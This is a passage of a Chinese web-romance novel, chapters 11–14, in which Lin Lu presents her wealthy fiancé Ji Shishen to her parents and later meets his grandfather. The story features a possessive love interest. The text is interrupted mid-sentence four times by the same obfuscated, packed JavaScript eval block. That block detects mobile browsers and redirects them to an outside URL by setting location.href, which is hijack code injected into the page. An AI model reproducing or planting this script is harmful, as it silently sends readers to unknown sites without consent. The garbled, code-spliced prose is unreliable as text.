“你们年轻人的事,你们自己决定就好,我和你妈就不参合了。等婚礼日期定下来,记得提前告诉我们一声,家里亲戚这边还是更认婚礼的,到时得给他们发糖。” 见林鹿要回话,季时深打断道:“虽然婚礼推迟,但其他该走的程序我们不会马虎的,都会在领证前完成。尤其聘礼方面,我和鹿鹿商量过了,别人有的,鹿鹿都得有,具体单子在鹿鹿那,叔叔阿姨有空的时候可以看看,有什么不足的,也可以让鹿鹿和我说,我给补上。” “这……”林父看了眼林鹿,见其点头才确定这说辞不是糊弄,不由地更高兴几分。 本来,听到婚礼推到明年,他还有些不满,觉得对方是不是藏着什么小心思。毕竟这年头因为彩礼、嫁妆吵得不可开交的不是一家两家,他就怕季时深是因为不想出彩礼才哄着林鹿提前这么久领证。虽然对方看着不像这种人,但不到最后谁又知道呢。现在,季时深把话敞开了说,那林父一颗心也算放下去了。 “那好,彩礼到时直接给鹿鹿就好,我们不要。至于嫁妆,我们就这一个女儿,肯定会竭尽所能的。”顿了顿,林父又道,“听鹿鹿说,你明天要带她见你家里人。我想着,这都要领证了,我们两家是不是也该见一见,总不能都成一家人了,还不知道彼此长啥样吧。” “是我疏忽了,我和鹿鹿领证这个决定做得太突然,很多细节都没有好好安排,就贸然上门说这个事。我的情况,鹿鹿应该说了,我妈很早就过世了,直系亲属就爷爷、爸爸、和两个兄弟。大家平时都很忙,只有逢年过节或有重要的事时才会聚一聚。现在家里只有爷爷,爸爸和两个兄弟都在国外,等他们回来了,我组织一下见面的事。” 这听着家庭关系好像不是很和谐呀,林母看了眼林父,问道:“人多热闹,人少清净,你们婚后打算住哪?要和家里人住一起吗?” “我家里人都讲究独立空间,平时也各有各的住所,只偶尔有需要会回去住一两晚。像我和鹿鹿成了家,应该只会住在我们的小家,不太可能和家里人住一起。” 林母眼一亮,这不住在一起,那家里面即使有矛盾也影响不到小两口。而且,一般都是婆媳矛盾多,公公、爷爷的很少会找茬。这么一想,林母更满意了几分。 可能是季时深有问必答的态度太诚恳,林父、林母渐渐卸下紧张,好多准备私下从林鹿口中打探的事也变成直接询问季时深本人。 见三人你一言我一语、很认真地说着事情,林鹿突然很有归属感,这种感觉,真好。 11. 认错 晚餐是林父主厨、林母打下手完成的。 五菜一汤。虽然比不上别墅大厨做得丰盛、美味,但充满日常菜系的温馨,林鹿吃得很满足。 偷偷看了眼季时深,对方的饭量和在别墅没什么差别,应该也挺满意的,林鹿不由得更高兴了。 饭后,时间还早,林母切了些水果出来,大家围坐在一起,继续闲聊。这一次,没有再明里暗里地打探季时深家里的情况,而是说起了林鹿小时候的趣事。 很多芝麻绿豆大的小事,原主记忆里都没有了,但林父、林母却还是记得一清二楚。 说着说着,林母突然道:“小季,你和鹿鹿什么时候在一起的?早在鹿鹿和你考入同一所大学,我和她爸就想着你们俩以后会不会在一起,没想到还真被我们给盼着了。” 林父也搭话道:“你是不知道当年从你阿姨口中知道鹿鹿对你有好感时,我是多心焦,真一宿一宿睡不着,就怕你俩早恋,跟着影响成绩,高考不理想。偏还什么都不能说,装作无事人一样不知道。” “幸亏结果是好的。你们都是好孩子,鹿鹿有你在前面做标杆,成绩不仅没退还一点点上升,我那时都不敢想象鹿鹿能考上云大呢。” 林父、林母回忆往昔说得真是既痛快又忘我,任凭林鹿在旁边小动作不断,甚至眼睛都眨酸了也没能打断。直到两人感受着渐渐冷下去的气氛,才后知后觉地茫然问:“怎么了?” 林鹿翻了个白眼,又小心觑了眼季时深才闷闷道:“时深是时深,你们说的那个只是同学、朋友,我们什么关系都没的。 “啊?你之前……”林母及时收声,尴尬地看着季时深,慌乱解释道,“人上了年纪就是不好,记忆动不动就出错,肯定我们是误会了,你千万别在意啊。” 季时深看了眼林鹿,给了个只可意会的眼神后,十分温和地对着林父、林母道:“你们说的是邵明修吧,鹿鹿和我说过他的事。那时鹿鹿年纪小,分不清情爱,才错把崇拜当喜欢,让你们误会了。” “啊,你知道这个事啊,”林母惊讶,先前因说错话生出的尴尬也瞬间一扫光,再次恢复到随意,“那你和我鹿鹿是怎么认识的?在一起多久了?” “我们一年前认识的,那时鹿鹿应该刚工作,我看到她抱着一叠文件又跳又蹦的,好像特别开心,当时就一见钟情了。本来以为没缘分的,但后来一次雨天,又遇见了。别人都忙着躲雨,走得飞快,就她还有心思左看右看,一点也不被细雨影响。那时,我心里就一个想法,是她、是她了,这次不能再错过。然后就开始关注鹿鹿、追求鹿鹿,直到我们在一起,决定领证。” 这是林鹿第一次知道他们的初见是这样的,虽然没有相关的记忆,但看季时深面露回忆的神色,应该不是假的,他也不像是会说这种谎的人。 “鹿鹿这丫头从小就缺根弦,只会傻乐,没想到你们会因为这个看对眼,也是难得缘分了。”林母想笑,也没忍住笑了出来。 “我就喜欢她这乐观的性子,觉得生活都生动,有期待了。”季时深也笑着,突然又话锋一转,问道,“我们也认识很长时间了,鹿鹿平时都没和你们说过我吗?” 可能是季时深伪装得太好、一直没露出锋芒,也可能是太会识人心、掌握谈话技巧,林母丝毫没有戒备地净说大实话:“鹿鹿很少和我们说感情上的事,也就是前段时间好几次没联系上鹿鹿,有些担心,多问了几句才知道鹿鹿和你在一起。这不,还把你误会成她同学了。” “也不怪您错认。之前鹿鹿带我见她朋友时,我和邵同学也说过几句话,各方面都很不错,是个招女孩子喜欢的。不过,听说他好像有喜欢的人了,是吧,鹿鹿。”季时深突然转头看向林鹿。 林鹿有些不自在,但又不想让林父、林母觉察到,偷偷拧了拧季时深才道:“你这消息早过时了。人家女孩子有自己喜欢的人,都到谈婚论嫁这一步了,我同学还能继续吊死在一棵树上啊。” 季时深露出笑,明明心情已经被轻松安抚好,但话题仍不离邵明修,“走出一段感情最好的方法是进入下一段感情。肥水不流外人田,阿姨,你要不帮着给介绍介绍,这邵同学确实挺优秀的,鹿鹿应该也跟你说过不少他的事吧。” 它来了,它来了,它终于来了,林鹿直觉季时深说这么多就是想引出最后一句。 忍不住拿出手机,啪啪啪地发信息。 【够了,想知道什么你直接问我就是了,我保证有问必答,句句属实,用得着这么拐弯抹角吗,你累不累呀。】 两人并排坐着,林鹿又没掩饰,季时深自然也第一时间看见了。不过,并没回应,而是看着林母,等着她说话。 “鹿鹿哪会跟我说这事,真说了,我还能把你错认成他,”林母不甚在意,转而又看向林鹿追问,“现在优秀的男孩子都是稀缺资源,鹿鹿,你具体说说你这同学,我想给你堂姑家的女儿介绍介绍。她年纪和你相仿,你都结婚了,她连对象都没谈过,你堂姑早就急得不行,打招呼让我们帮着物色物色。” 林鹿傻眼,看着季时深,拒绝回答这个问题。 “鹿鹿和她同学很少联系,具体的消息也不知道,还是我哪天抽空问问吧,大家都是男人,有什么不好说的也都方便说。” “那行,就麻烦小季了,”林母无所谓谁去打听消息,但季时深能主动,她显然更开心。 时间总在休闲中过得很快,感觉还没一会,就快九点了。林鹿起身:“爸妈,以后再聊吧,现在很晚了,时深得回去了。” “行、行,”林父也跟着起身,拍了拍季时深胳膊道,“领了证,就是一家人了,以后记得常回呀。” “也不知道你喜欢吃什么,就简单招待了,都不知道合不合口。回头,发一些你喜欢的菜品,等下次回来,我让她爸专门做几道你喜欢吃的。” 简单寒暄后,林鹿送季时深出门。刚进电梯,就忍不住用胳膊肘捣了下季时深:“要孩子?你可真是什么话都敢说,到时我爸妈催了,我可不负责,直接让他们找你去。” “找我、找我,”季时深牵住林鹿的手解释,“这要孩子和有孩子又不是一个概念。要不要得到,还不是我们说了算。你放心,这事肯定你说了算,你想什么时候要咱就什么时候要,我都随你。” “那等我们过了磨合期,感情稳定了,确定未来就是彼此,再考虑要不要孩子?”林鹿挺想有一个自己的孩子,但前提是她能给孩子提供一个温暖的港湾。 “行,”季时深一口应下。这个答案比他预期的要好很多,看来林鹿是真的决定了要和他长久走下去,那他也必然不会放过这个机会。 “说完孩子,你是不是要和我解释下邵明修,为什么叔叔阿姨会把我当成他,以为要和你领证的是他?”说到这,季时深又控制不住地带出一些怒火。 林鹿瞬间有些心虚,但很快又理直气壮起来:“这能怪我吗?我们从认识到现在,满打满算也不超过一个月,这中间你还出了趟差,小十天没见人影。正常人谁会这么快领证?再加上我爸妈一直以为我对邵明修有意思,那这突然听到我要领证,肯定第一个联想到他。” 怪不得之前提领证的时候,林父、林母都反应不大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754332|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝毫没有那种打破砂锅问到底的架势,她还以为是憋着什么后招在等着呢,万没想到是认错人了。 “那叔叔阿姨是怎么知道邵明修的?你都怎么提的,也提给我听听,”季时深凉凉地撇了眼林鹿。 她的话重点是这个吗?这人怎么每次都只挑自己想听的。 “我说,我说,我都说,好不好?你别阴阳怪气了,”知道季时深一直介意邵明修,林鹿也想借着这个机会好好表明态度说开。 “我以前喜欢写日记,我妈无意间看到我日记,才知道邵明修的存在。但我和他的关系,你肯定都调查了,刚要开花结果呢就被你捷足先登,什么都没发生。现在,我们在一起了,就更不可能发生什么。我和我妈平时也很少说到邵明修的,不然她不会只知道有这么个人在,但具体名字都不知道。” “该说的,我都说得差不多了,你以后不许再揪着不放。谁还没点过去了,要怪就怪你没早点来找我,要是你早点出现,不就没邵明修什么事了吗。”林鹿心态很好,从不内耗自己,这不,锅又甩了出去。 “你现在还有写日记的习惯吗,我要你必须有,就写我和你的日记。还有,我就没有过去,在你之前、在你之后,除了你都不会有其他人。” 明明是很感动的话,但因为前半句的强势,效果瞬间大打折扣。林鹿看着季时深略有些无奈地答应,“行,我试着写写,那你记得要时常准备小惊喜哈,不然日子天天一成不变的,我也没什么可写的。” “对了,你之前说遇到我的那两次可不可以具体细说,我都没什么印象。”原书只有季时深的强取豪夺,对这份情感的来源根本没说,林鹿还挺好奇的。 “去年六月下旬在慕森酒店举办的商谈会还有印象吗?我出来的时候,看到你在门口兴奋得手舞足蹈的,那天是遇到什么好事了,你这么高兴?”回忆渐渐被拉回初见那天,季时深直到现在都还好奇什么事值得那么高兴,能顶着三十七度的大太阳又蹦又跳,一点也不受烦躁的天气影响。 “那次啊,”季时深这么一说,林鹿瞬间就从记忆里找到那日场景。那天,她临时被领导安排过去送资料,也是第一次见到小说里描述的高端宴会,等战战兢兢出来可不得找个没人的地方好好发泄心里压抑地澎湃情感,没想到竟被季时深瞧个正着。 “就这?”听到林鹿的描述,季时深的表情难得有一丝皲裂,转而又在意料之中,她的情绪向来鲜明,因为这点小事高兴成那般也不足为奇。 “第二次见面是一个月前,那段时间我心情不太好,又碰上梅雨季节,就更烦躁几分。看到你不打伞,还悠然自得、一脸笑意地在雨中慢走,忍不住再次心动了。” 他过往人生中,很少有人能如林鹿这般一次、两次地给他留下记忆点,他当时就生出强烈想法——他要她。他想知道她的情绪为什么那么鲜明?为什么那么容易笑?偶尔,甚至特别想看她无助、哭泣的样子。 只是想想,季时深的情绪就跟着上下波动,那一刻,他更加意识到他要什么了。 林鹿对此则没什么印象。不管是她还是原主,都喜欢细雨中漫步的那种感觉,次数太多了,哪怕过去的时间还短,也对不上号。不过,她更好奇的是季时深为什么会心情不好,印象中,他不发疯时情绪是很稳定的。 “好了,回去吧,叔叔阿姨肯定有一大堆话等着你回去说呢,你不是也打算要和他们坦白我的身份吗,快去吧。”季时深转移话题道。 看出季时深不想回答,林鹿也没继续追问,只道:“行,那我先上去了,等以后你想说了再和我说。” 12. 谈话 林父、林母确实憋了一大肚子的话想问。 这不,刚进门,连鞋子都没换,就被两人拉到椅子上,一左一右地接受盘问。 “你老实说,买这些东西花了多少钱,小季家里人知道吗?”林母一脸痛心疾首的样子,好像她败了多大的家。 林鹿瞄了一眼,果然,带来的礼物都被拆开,摆成了一小堆。 “具体我不清楚,是时深安排下去的。爸、妈,你们放心啦,这些在我们看来是很贵,但时深眼里可能根本不值得什么。他本来是想送一些字画古董类的藏品,是我拦住了,我觉得这些更适合咱家。” “这、这还不算什么?”光两件实打实的金首饰就值个好几万了,林母惊得说话都不利索,只觉得林鹿的话说得她愣是听不懂了。 “小季家里到底做什么的?之前你妈问的时候,你就一直打断,现在可以说了吧。”林父冷静一些,也听到林鹿刚刚提的古董字画,能用这些送礼的人家可不是什么普通的人家。 婚姻是两个家庭的事,哪怕小季和家里人不亲近,那也打断骨头连着筋,断不开的。这样的人家真的愿意和他们结亲?这突然想领证,别是打着先斩后奏的主意吧。 “那我说了,我真说了,他家里可是很了不得的大家族,你们一定要做好心理准备,别等会我说出来你们惊讶地晕过去哈。” 林鹿是在认认真真做铺垫,但听在林父、林母耳里却是像贫嘴,林母更是用手点了点林鹿额头,“你这孩子怎么一段时间没回来,这么爱逗趣了,还逗趣到你爸妈头上。别以为要成家了,翅膀就硬了,你就算以后生了孩子,那也是我女儿,归我管。” 林鹿有一瞬间心虚,但很快又梗着脖子:“我怎么逗趣了,我说的都是真的。季时深,季氏集团掌权人,你们要是不信可以上网搜搜,可以搜出一些信息来。” “你这逗趣还逗上瘾了是不,”林母不信,作势要拧人。他们是什么家庭,对上那样的大人物,别说接触了,就是看上一眼都没机会。小季出身是瞧着不错,但也看和谁比,真瞎说都不知道编个靠谱的。 “你搜一下,搜了再说嘛,”林母的手劲就差和季时深媲美了,林鹿条件反射地站起来避开。 林父也不信,毕竟这太匪夷所思了,比做梦还要不切实际,可不知怎么,鬼使神差地竟真拿出手机上网搜索。 过了会,看着名为季时深的一行行介绍,林父双眼发直,整个人也跟着有些僵硬。这、这、怎么可能,一定是在做梦吧。 林母本还想说什么,但余光发现林父状态不对,顿时就顾不上了。担心问道:“怎么了?” 林父什么也没说,只把手机移到林母面前,让她自己看。 接下来,两人缓了大半个小时还是难以置信。 季氏集团的掌权人耶,那可是随便跺跺脚帝都都抖三抖的大人物中的大人物,竟然是他们的未来女婿,真可能吗?要知道他们此前可是连季氏集团的大门都没跨进去过。 这也太玄幻了吧。 “爸、妈,我没骗你,也没开玩笑,季时深真的是季氏集团的掌权人。”见两人沉浸在情绪里,一直不出声,林鹿开口打破沉默。 “那你之前说的自己创业,小公司什么的是怎么回事?”理智、情感的双重震惊,让林母一时间还是有些接受不过来。 “那不是怕你们像现在这样接受不了,就说了慌嘛。本来是想再晚些时候告诉你们的,但季时深说得对,一个谎言要用无数个谎言来圆,不值当的。而且,这种大事也确实不该瞒着你们。我就及时改过,直接自爆了嘛。爸妈,对不起,我不该撒谎的。” “那、那你们真的决定要领证?季家那些人都还没见过,好不好相处的也不知道,这要是对你不满意,以后有的是手段让你有口难言。”林母有些发愁,她自然是希望女儿能高嫁,但高嫁这么多却又止不住担心。 “当然啦,等明天见完季家人,周一我们就去领证。妈,你不用担心季家人,日子是我和季时深过,季家其他人若是好的,那我们就好好相处,若是对我横挑眉毛竖挑鼻的,那我也不是好欺负的。” 剧情里,除了季时深爷爷,其他人要不是忌惮季时深的能力和手段,连季时深都看不上,更别说林鹿了。当然,林鹿也不在意,成年人的世界只要能维持基本的体面就足够了。 不过,想到剧情里,季家人利用原身一次又一次地针对季时深,林鹿突然有些期待。这一次,没有她的配合,看他们还能使上什么手段。不对,她到时可以和季时深配合,来个计中计,反过来看对方自食恶果。 “鹿鹿,你老实告诉爸,你们这么匆忙地决定领证,是不是季家人不接受你,不赞同小季娶你,你们才想着先斩后奏领证的?”林父一脸认真,显然对自己的猜测坚信不疑。 林鹿眨巴眨巴眼,谁能告诉她为什么林父的脑洞也这么大。 “爸,你平时也没追剧看小说呀,怎么思想也被同化了。多看几篇相关报道,你就知道季时深不是能被人左右的人。现在,整个季家几乎都是季时深一个人说了算,就算其他人不同意我和他在一起,我们也用不着先斩后奏这招的。” 见林父、林母还是心事重重,林鹿摊了摊手,索性放大招了。 “好吧,我坦白,我彻底坦白,领证是我先提的,但季时深也同意了。”见林母急着要说话,林鹿赶紧打断,继续道,“你们就说季时深这个人怎么样吧?家世、能力、长相,哪样不是翘楚中的翘楚,对我也基本有求必应,还不花心,私生活干干净净。” “这样的男人,一辈子能遇上几个?我这好不容易遇上了,对方还恰好地喜欢我,那我不得牢牢抓住了,一辈子不放手。要是错过了,我以后肯定遇不上更好的了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759276|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,到时哭都没地方哭了。” “可是……” 林母还想说话,但又被林鹿抢话成功:“我知道你们是担心我,怕我以后受罪,但我能受什么罪?” “就算真心易变,以后我和季时深过不下去,但季家那么大产业,随便给我点分手费,也是普通人几辈子都花不完的。要是有孩子,我这更是让孩子生下来就在罗马。所以,有什么好担心的呢,这年头,钱能过滤百分之九十九的烦恼,而季时深最不缺的就是钱了。” 思想一转弯,林父、林母感觉像是打开了新世界大门,越是琢磨林鹿的话,越觉得有道理。担心这个、操心那个,但实际他们根本就没什么可损失的,算来算去都是获利的一方,那还有什么好犹豫的。 “爸、妈,我总归要结婚生子的,这不嫁季时深,难道嫁其他人吗?其他人能有季时深好?既没季时深有钱,又没季时深长得帅,也不一定有季时深对我好,真哪天变心了,我人没了,钱也没了,这才是真的可怜呢。” 林父、林母本就快被说服了,再被林鹿这一猛剂吓得,更是彻底不犹豫了:“想领证就领证吧,我们本来也没反对的,现在,就更不会反对了。你说的对,只要有钱,不管什么时候都能过得很好。” “嘿嘿,我知道你们是为我好的,但放心,我不是傻子,是真的深思熟虑后才想着领证的,我以后肯定会过得很好的。”林鹿轻轻抱了抱林母、林父。 彻底搞定林父林母,林鹿愉快地踩着小碎步回房,迫不及待地就想告诉季时深。 嘟嘟嘟—— 随着熟悉的铃声响起,季时深很快接通。 “季时深,我已经告诉我爸妈你的身份了。”趴在床上,翘着脚,林鹿现在无事一生轻。 “叔叔阿姨怎么说?”将遮挡板升起,季时深单手撑着头,笑着看向镜头。 “本来是担心的,怕我们门不当户不对,以后会过得不好,但我是谁呀,黑的都能说成是白的,更别说这种本来就是好事的事了。我直接说看上你的钱了,真哪天我们过不下去了,你随便一笔分手费也够我潇洒下半辈子了。我们之间最坏的结果也就是这样,我爸妈一听,那还有什么可担心的。” “不过,我觉得我爸妈担心的也很有道理,门户带来的三观、认知差异确实有可能成为我们的感情障碍。所以,我决定从现在开始努力提升自己,让自己跟得上你的节奏,不能你说啥我都听不懂。” 季时深忍不住想笑:“你现在这样就很好,我很喜欢。不过,你能想到提升自己,我还是很高兴,多学点东西总归是好的,有需要我帮助的,直接说。” “男人的嘴骗人的鬼,我才不吃你这糖衣呢。”林鹿嘚瑟地斜了一眼季时深,隔了会才认真道,“我先想想具体要学哪些,不过最后肯定是要麻烦你的,得让你帮我请老师呢,我又没相关的人脉。” 13. 季家 “开门。” 刚吃完早饭,林鹿就收到季时深的信息。正迟疑着,咚咚咚响起的敲门声已经提醒她的猜测没错。 “不是说晚点吗,怎么这么早?”看着站在门口的季时深,林鹿好奇问道。 “叔叔、阿姨好,”季时深没回答林鹿的问题,而是礼貌地和林父、林母打招呼。 “鹿鹿说已经告诉了你们我的事,昨天实在失礼,也不知道叔叔阿姨喜欢什么,我约摸准备了些,请叔叔阿姨收下,”边说着,季时深边递上手中的礼盒。 这接也不是,不接也不是,林父林母对视了一眼,一时不知道该说什么,只求救性地对着林鹿疯狂使眼色。 林鹿叹了一口气。 她就知道会这样,虽然人还是那个人,但身份不一样了,考虑得难免也就多了起来。 不忍见林父、林母为难,林鹿上前接过礼盒,找话题问道:“早饭吃了吗?” 其实已经吃过,但看着林父、林母不自在的样子,季时深摇摇头:“还没。” “锅里还有些粥,我再炒两个菜,你等等,很快就好的,”果然,林母的状态立马不一样了,急着要忙活。 季时深赶紧阻止,看着餐桌上被罩着的剩菜道:“不用麻烦了,这些就可以了。” “那怎么行,”如果不知道季时深身份,这吃就吃了,但现在都知道了,林母哪好意思让人吃剩菜呀。 “没什么不行的,鹿鹿,你帮我盛碗粥来,我正饿着呢。”边说着,季时深边打开罩子,看着林父、林母道,“我八岁回的季家,在这之前日子一直很拮据,甚至经常都吃不饱饭,也因此养成了不挑食的习惯。” “我知道叔叔阿姨一时还不能适应我的身份,但我想说,未来时间还很长,我们可以慢慢适应。在你们面前,我不是季氏集团负责人,我只是鹿鹿的老公,你们的女婿。” “我也知道叔叔阿姨担心鹿鹿。在这里,我向你们保证我会照顾好鹿鹿,不会让任何人包括季家的人伤害鹿鹿。即便未来有天我们走不下去了,单为了我和公司的体面,我也会继续照顾和安置好鹿鹿的。不过,这一天在我这是不会到来的。” 真诚是最大的必杀技,尤其是来自上位者的真诚。闻言,林父、林母肉眼可见地对季时深更添几分认可。 “你是好孩子,鹿鹿也是好孩子,只是日子是用来过的,你们的成长历程迥然不同,我不怕现在,就担心以后你们会慢慢没有话题,变得无话可说,甚至成了怨偶。”林父如实地说出心里话。 虽然钱是个好东西,有钱日子再差也差不到哪去,但人在有钱和没钱的时候需求也不一样啊。 没钱时,想着有钱就好了,等有钱了,又想着有好的感情、好的婚姻。可欲望变了,那种想要却得不到的痛苦却不会变。 “怪不得都说不是一家人不进一家门,您担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773685|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这些,鹿鹿早就想到了,昨晚还和我说以后要努力提升自己,让我帮着介绍老师呢。但要我说,你们还是想多了,这再有钱和家里人的聊天内容也和普通家庭差不多,都是围绕着生活琐事和周边八卦。” 说话间,林鹿已经盛好粥,季时深接过,就着菜,大口大口吃着,一点也不见勉强。 林父、林母又默默对视了一眼,皆露出放松的神情来。有时候,话可以说得很漂亮,但身体不知觉的细微动作才更真实,而季时深的表现无疑是过关的。 饭后,两人并没有多留。 坐在车上,独立的小空间内,林鹿忍不住看了季时深一眼又一眼,才道:“季时深,我又发现了你一个优点,你真的好稳重。我觉得我不能和你多呆,这种什么都有你的感觉,会让我脑子变笨的。” 因前半句话翘起的嘴角很快又因后半句话耷下,季时深算是发现了,只要有林鹿在,他的情绪就像过山车,永远不知道下一刻是上升还是下降。 曾经,他很渴望这种鲜明的起伏,觉得是活着的证明,但现在,他又淡淡地觉得其实一成不变的平稳也挺不错,至少,他不会翻白眼这种不雅的冲动。 “你现在也没多聪明,”季时深还是没忍住斜了林鹿一眼。这真聪明就知道什么话该说什么话不该说,不会动不动就戳一下。 “我刚夸了你,你怎么还人身攻击了起来,”林鹿瞪着眼,欲要找个说法。 14. 造型 能让季时深一见难忘、再见动心的脸,固然有其他因素加成,但漂亮也是必不可少的。 平日素面朝天的,林鹿都很满意这张脸。此刻,经过专业化妆师、造型师捯饬,再看镜子里的自己,林鹿只觉得惊艳。 实打实很惊艳的那种惊艳。 如果说之前,林鹿还会偶尔冒出季时深是不是眼瘸了才会看上她的想法,那从此刻起,林鹿只觉得季时深是慧眼识珠、火眼金睛。 这么漂亮的一张脸,喜欢上再正常不过了嘛,不喜欢才不正常。 嘚瑟地欣赏了会自己的美后,林鹿才想起炫耀。轻轻提起裙摆,谢过造型团队后,林鹿就小跑出去找季时深。 不愧是霸总,等人的间隙都不忘拿起笔记本工作。 小小感叹一番后,林鹿丝毫没有扰人的觉悟,还隔着一段距离,就忍不住喊道:“季时深!” 季时深本能地抬头,视线落在林鹿身上,露出明晃晃的惊艳。 林鹿看到了,心里更是美了几番,三两步来到季时深跟前,臭美地转了个圈圈:“怎么样?是不是很漂亮?你有没有更心动啊?我自己都快爱上我自己了呢。” 合上笔记本,季时深站起身,正视着林鹿点头:“很美。” 说完,上前半步,伸出手…… 脑海中一下子闪过短剧片段,林鹿吓得后退一步,捂着嘴,左右瞅了瞅,偷感十足道:“你干嘛?周围还有人呢,羞不羞。” 季时深懵住。 看了看林鹿,又看了看自己的手,略有些无语道:“你额侧有缕头发滑了下来,我帮你别上,你在想什么呢?” “哈?这样啊,呵呵,我来,我自己来,”林鹿瞬间尴尬了,眼神飘忽地左右扫视,愣是不敢再看季时深。 短剧果然害人,她的脑子也真是被腐蚀了,刚刚那一瞬,竟生出季时深要吻她的错觉。 “要是实在想,也不是不可以,等回去……”季时深突然凑近,贴着林鹿的耳边轻轻道。 “我没想,是你,你在想,”似被踩到尾巴,林鹿声音又急又快,透着明显的心虚。 季时深嘴角不知觉勾起笑意,见人真的惹急了,才转移话题道:“好,我想,是我想。都好了吗?好了我们就出发。” 闻言,林鹿果然静了下来,有些紧张地点点头。 季时深握住林鹿的手,一边往外走,一边道:“不用多想。和你结婚的是我,和你过日子的也是我,其他任何人都不重要,也不用在意。若你因为这些影响心情,那今天这一趟,也不用去了。” 说到这,季时深停下步伐,看着林鹿,示意他是认真的。 “我造型都弄好了,你给我说这个。”林鹿既感动又无奈,扯着季时深继续往前,“走啦。第一次见家长谁不紧张,我这是正常反应,你以为谁都能和你一样泰山崩于前也面不改色呀。” “我不想你勉强自己做不喜欢的事,”这几日的相处,季时深的心很平静。他不确定这是不是就是幸福的滋味,但他愈发地想让林鹿快乐,让她脸上永远带着笑。 “你看我像是会勉强自己的人吗?好吧,是有一丢丢勉强,但这是为了你,也为了我们以后必须要做的事呀。就像你,你和我爸妈相处不也有些不自在吗,但你还是努力融合了呀。我现在的想法、心情就和你昨天一样,你不用担心,因为我都是自愿且乐意的。” 季时深嘴唇动了动,想说他的家人和林鹿的家人不一样,但看着林鹿诚挚的眼神,却什么话也说不出口,只握着林鹿的手不知觉加重了些力道。 车子缓缓而行,似乎很快又似乎很久,终于停下。 林鹿忍不住多打量了眼,不同季时深居住的半山别墅具有明显的现代化风格,眼前的这座园林式庄园更兼古风特色。一步一景,给人感觉比起居家更适合观赏。 应该是提前得到通知,两人刚下车就有一位管家模样的人上前道:“老爷子早早就在等着了。” 季时深淡淡点了点头,转而问向林鹿:“喜欢这里的风格?我名下有处类似的房产,你要是喜欢,我们随时可以搬过去住。正好要领证了,就当我们的婚房。” 哪怕已经渐渐适应现在的日子,林鹿还是被季时深不经意间露出的壕气震到。摇摇头道:“偶尔住住还行,搬过去就算了,我们现在住的已经很好了。” “那等你想住的时候和我说,我来安排,”季时深没在这上面多停留,走了几步,似想起什么转头对着管家吩咐道,“鹿鹿口味偏甜,你通知下厨房,午餐加两道苏系的菜。” “好的,先生,”视线在林鹿身上逗留了一瞬,管家恭敬地应下。 宽敞客厅内。 季时深的爷爷季鹏越端坐在太师椅上,一脸严肃道:“刚收到消息,周方两家要联姻,下个月二十八就是订婚日。现在,你还要坚持领证?不后悔?” “我从不做让自己后悔的事,”季时深牵住林鹿的手,慎重其事地介绍,“这是林鹿,我的妻子,您的孙媳,季家未来的女主人。” 林鹿还没从周方两家联姻中回神,就被这一连串的头衔砸懵。敛了敛情绪,林鹿扬起笑脸,礼貌地打招呼:“季爷爷好,第一次上门,这是我的一点心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793773|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,希望您能喜欢。” 管家适时地接过、递上。 季鹏越打开看了眼,点点头道:“多余的话我就不说了,时深主意正,决定的事谁也改变不了。我现在就希望你们好好过日子,争取早点生个孩子。” “爷爷,”季时深不赞同地蹙了蹙眉。 季鹏越虎着脸瞪了回去:“我说错了吗?我们季家家大业大,早点要个孩子,对你、对公司都是好事。你们结婚我已经不反对,但孩子这块,我不会让步。最多三年,我必须见到孩子,否者,我手里剩下的百分之十股份,你大哥、三弟应该很感兴趣。” “我不喜欢被威胁。至于股份,你随意,爱给谁就给谁。没其他事的话,我和鹿鹿先去休息,等午饭的时候再过来。”拉着林鹿,季时深欲要离开。 “你……”季鹏越一掌拍向座椅扶手,显然被气得不轻。 眼见气氛要闹僵,林鹿轻扯了扯季时深衣角,搭话道:“关于孩子,我和时深早商量过了,三年内肯定是准备要的,季爷爷放心,我们也盼着当爸爸妈妈呢。” 